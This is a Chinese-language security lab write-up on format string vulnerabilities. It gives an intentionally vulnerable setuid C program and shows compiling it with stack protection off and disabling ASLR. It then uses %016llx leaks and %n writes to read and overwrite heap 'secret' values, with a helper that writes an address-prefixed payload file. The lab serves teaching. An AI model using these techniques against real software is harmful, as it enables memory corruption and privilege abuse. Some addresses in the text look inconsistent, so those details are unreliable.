格式化字符串漏洞实验
一、实验一
用户需要输入一段数据,数据保存在 user_input
数组中,程序会使用 printf
函数打印数据内容,并且该程序以 root
权限运行。
(一)准备工作
1.新建vul_prog.c文件
#include <stdlib.h>
#include <stdio.h>
#define SECRET1 0x44
#define SECRET2 0x55
int main(int argc, char *argv[])
{
char user_input[100];
int *secret;
long int_input;
int a, b, c, d; /* other variables, not used here.*/
/* The secret value is stored on the heap */
secret = (int *) malloc(2*sizeof(int));
/* getting the secret */
secret[0] = SECRET1; secret[1] = SECRET2;
printf("The variable secret's address is 0x%8x (on stack)\n", &secret);
printf("The variable secret's value is 0x%8x (on heap)\n", secret);
printf("secret[0]'s address is 0x%8x (on heap)\n", &secret[0]);
printf("secret[1]'s address is 0x%8x (on heap)\n", &secret[1]);
printf("Please enter a decimal integer\n");
scanf("%d", &int_input); /* getting an input from user */
printf("Please enter a string\n");
scanf("%s", user_input); /* getting a string from user */
/* Vulnerable place */
printf(user_input);
printf("\n");
/* Verify whether your attack is successful */
printf("The original secrets: 0x%x -- 0x%x\n", SECRET1, SECRET2);
printf("The new secrets: 0x%x -- 0x%x\n", secret[0], secret[1]);
return 0;
}
2.编译
可以添加以下参数关掉栈保护
gcc -z execstack -fno-stack-protector -o vul_prog vul_prog.c
注: 这里会报出一些警告 warning,可以忽略
3.增加权限
sudo chmod u+s vul_prog
(二)找出 secret[1]的值
1.定位目标地址
运行 vul_prog 程序去定位 int_input 的位置,这样就确认了 %s 在格式字符串中的位置。
11
和后面的 %016llx
都是自己随意输入的, %016llx
的个数最好在10个以上。
11 的十六进制码就是 0x000000000b
,可以看到输出中 11的十六进制在第 8 个位置上,这样我们就能确定格式化字符串的位置了。
2.更改攻击程序
输入 secret[1] 的地址,记得做进制转换,同时在格式字符串中加入 %s
可以看到 secret[1]
的地址是 0x55756264
,转换成十进制就是1433756260。
第9个位置上替换成 %s
就能打印出 secret[1]
的值了。
3.只要求修改,不要求改成什么
可以看到已经变成 0x88
了。
4.修改目标地址的值
修改secret[1]为期望值
要改成自己期望的值,比如改成十进制 1000,第八位,改成%880u,%n 。输出0x3e8,变为10进制即1000.
二、实验二
1.现在让我们把第一个 scanf 语句去掉,并去掉与 int_input 变量相关的所有语句,修改后的 vul_prog.c
程序如下:
/* vul_prog.c */
#include <stdlib.h>
#include <stdio.h>
#define SECRET1 0x44
#define SECRET2 0x55
int main(int argc, char *argv[])
{
char user_input[100];
int *secret;
int a, b, c, d; /* other variables, not used here.*/
/* The secret value is stored on the heap */
secret = (int *) malloc(2*sizeof(int));
/* getting the secret */
secret[0] = SECRET1; secret[1] = SECRET2;
printf("The variable secret's address is 0x%8x (on stack)\n", &secret);
printf("The variable secret's value is 0x%8x (on heap)\n", secret);
printf("secret[0]'s address is 0x%8x (on heap)\n", &secret[0]);
printf("secret[1]'s address is 0x%8x (on heap)\n", &secret[1]);
printf("Please enter a string\n");
scanf("%s", user_input); /* getting a string from user */
/* Vulnerable place */
printf(user_input);
printf("\n");
/* Verify whether your attack is successful */
printf("The original secrets: 0x%x -- 0x%x\n", SECRET1, SECRET2);
printf("The new secrets: 0x%x -- 0x%x\n", secret[0], secret[1]);
return 0;
}
2. 在终端使用 linux 命令设置关闭地址随机化选项:
$ sudo sysctl -w kernel.randomize_va_space=0
3.在 /home/shiyanlou
目录新建一个程序 write_string.c
。以下程序将一个格式化字符串写入了一个叫 mystring
的文件,前 4 个字节由任意你想放入格式化字符串的数字构成,接下来的字节由键盘输入
/* write_string.c */
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
int main()
{
char buf[1000];
int fp, size;
unsigned int *address;
/* Putting any number you like at the beginning of the format string */
address = (unsigned int *) buf;
*address = 0x113222580;
/* Getting the rest of the format string */
scanf("%s", buf+4);
size = strlen(buf+4) + 4;
printf("The string length is %d\n", size);
/* Writing buf to "mystring" */
fp = open("mystring", O_RDWR | O_CREAT | O_TRUNC, S_IRUSR | S_IWUSR);
if (fp != -1) {
write(fp, buf, size);
close(fp);
} else {
printf("Open failed!\n");
}
}
4.修改secret[0]
的值
$ gcc -z execstack -fno-stack-protector -o vul_prog vul_prog.c
$ gcc -o write_string write_string.c
4.先运行 vul_prog
程序,输入 4 个 %016llx
。再运行 write_string
程序,输入 8 个 %016llx
和 1 个 %n
,此操作会生成一个 mystring
文件。然后输入如下命令:
./vul_prog < mystring